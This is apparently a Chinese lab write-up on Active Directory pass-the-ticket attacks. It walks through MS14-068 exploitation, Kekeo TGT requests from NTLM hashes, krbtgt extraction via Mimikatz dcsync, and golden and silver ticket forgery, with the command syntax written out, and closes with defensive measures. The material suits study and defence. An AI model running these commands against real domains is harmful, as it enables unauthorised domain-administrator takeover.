1421 字
7 分钟
域渗透之 PTT 攻击:从 Kerberos 原理到票据伪造与传递
域渗透之 PTT 攻击:从 Kerberos 原理到票据伪造与传递
声明
- 本次实验使用的三款工具链接如下:
- ms14-068:https://github.com/ianxtianxt/MS14-068
- Mimikatz:https://github.com/gentilkiwi/mimikatz/releases
- Kekeo:https://github.com/gentilkiwi/kekeo
- 本文仅为个人技术实验记录,工具使用需严格遵守当地法律法规,请勿用于任何未授权的网络活动,违规使用后果自负。
- 个人仍处于初级学习阶段,难免出现原理解释错误与疏漏的问题,若出现谬误之处欢迎各位批评指正。
域环境信息
- 域名为owo.com,域控主机为下面的owo\administrator。
- winserver2008 R2 IP为192.168.245.10 域用户名为administrator。
- win7旗舰版 IP为192.168.245.12 域用户名为web。
kerberos协议
kerberos是一种网络认证协议,设计目的是通过密钥系统为客户机和服务器应用程序提供强大的认证服务,认证流程不需要依赖主机操作系统认证,通过传统密码技术作为可信任的第三方执行认证服务。 对kerberos认证的更多详细介绍可以参考文章https://iconabc.github.io/posts/4f0d5716.html
MS14-068漏洞利用
漏洞原理和影响版本
- Kerberos 的 TGT(票据授予票据)请求中,微软未正确校验用户的 PAC(特权属性证书)数据。普通域用户可构造恶意 PAC,伪造自己是域管理员,从而让域控返回域管理员权限的 TGT 票据。
- 受影响系统:Windows Server 2003/2008/2008 R2(未安装 KB3011780 补丁);
利用流程
- 在域内用户的主机(上述web)打开cmd,查询补丁情况,执行以下指令:
systeminfo | findstr "3011780"

返回为空说明没有对应补丁,使用klist purge清除历史票据,并用klist检查票据缓存后进入下一步。
- 利用ms14-068.exe工具执行以下指令:
ms14-068.exe -u 域成员名@域名 -p 域成员密码 -s 域成员的sid -d 域控制器的地址

- 这里使用mimikatz工具导入票据,输入
kerberos::ptc 生成的票据名称(这样写请注意mimikatz和票据要在同目录下)。

- 在mimikatz中可以使用
kerberos::list查看票据(kerberos::purge清除票据),发现导入了我们生成的票据。

- 在新的cmd窗口输入
dir \\域控主机名\C$发现成功展示域控主机的C盘根目录,此时已经拿到了域管理员权限。(注意是域控主机名,不是IP!!)

kekeo工具使用域成员ntlm哈希生成tgt票据
简单定位
kekeo 是一款轻量级 Kerberos 协议专用工具,专注于域环境中 Kerberos 票据的操作与攻击,该工具提供了许多常用模块(其中tgt、tgs模块较为常用)。
利用域用户ntlm哈希生成票据与导入
- 在其工作目录打开cmd窗口,输入以下生成票据:
./kekeo "tgt::ask /user:域成员名 /domain:域名 /ntlm:mtlm哈希"
我用的域控主机的ntlm哈希值,这样可以生成一个域管理员权限的tgt票据(若只有普通域用户的ntlm哈希只能生成域用户权限的tgt凭证)。
-
清除现有票据并导入刚才生成的票据:
kerberos::ptt 票据名
-
打开新的cmd窗口输入
dir \\域控主机名\C$已经拿到了域管理员权限。
小补充
关于域控主机名获取是信息收集模块的内容,这里简单说一下部分在域用户上执行的常用信息收集指令:
net time /domain:获取主域(主机名)ipconfig /all:通过dns后缀判断是否有域nslookup 域名:获取域控制器IPnetstat -ano:判断域内角色
利用mimikatz生成黄金票据(tgt)和白银票据(tgs)
krbtgt用户
- 主要功能 krbtgt 是域控上密钥分发中心(KDC)的专属账户,主要负责两个关键操作:
- 生成 TGT 票据:用户登录域时,KDC 会用krbtgt的密码哈希加密生成 TGT,这是域内后续申请所有服务票据的基础。
- 票据校验与加密:所有 Kerberos 票据的加密、解密和完整性校验,都依赖krbtgt的密钥(密码哈希)。
- 账户特性
- 隐藏账户:默认不会显示在域用户列表中,只能通过域数据库(NTDS.dit)或dcsync命令查看。
- 权限极高:不属于任何用户组,但拥有域内 Kerberos 认证的最高控制权,其哈希是生成黄金票据的核心条件。
黄金票据生成(tgt)
- 使用mimikatz以下指令在有域管理员权限的窗口获取krbtgt用户的sid和ntlm哈希:
lsadump::dcsync /domain:域名 /user:krbtgt

- 在mimikatz工作目录执行以下指令:
mimikatz.exe "kerberos::golden /admin:system /domain:域名 /sid:krbtgt用户sid /krbtgt: krbtgt用户ntlm哈希 /ticket: 生成的文件名(如1.kirbi)"

- 使用mimikatz等工具按照以上流程导入票据和利用
白银票据生成(tgs)
使用mimikatz,与tgt流程相似,在此不过多阐述,简单说一下伪造票据格式:
kerberos::golden /domain:域名 /sid:客户端域用户sid /target:访问域计算机全名或IP地址 /rc4:域用户ntlm哈希 /service: 要伪造的服务(如cifs) /user:要伪造域用户名 /ptt
防御思路
- MS14-068 防御:安装 KB3011780 补丁;监控域内异常 TGT 请求
- 黄金/白银票据防御:
- 定期更换 krbtgt 账户密码(需更换两次,避免历史哈希生效)。
- 限制域管理员的登录权限(禁止在其它主机登录)。
- 通用防御:部署 EDR 工具,监控 Mimikatz/Kekeo 等工具的执行;开启 Kerberos 日志审计,追踪票据注入行为。
域渗透之 PTT 攻击:从 Kerberos 原理到票据伪造与传递
http://124.70.202.140/posts/post-5/5/ 部分信息可能已经过时







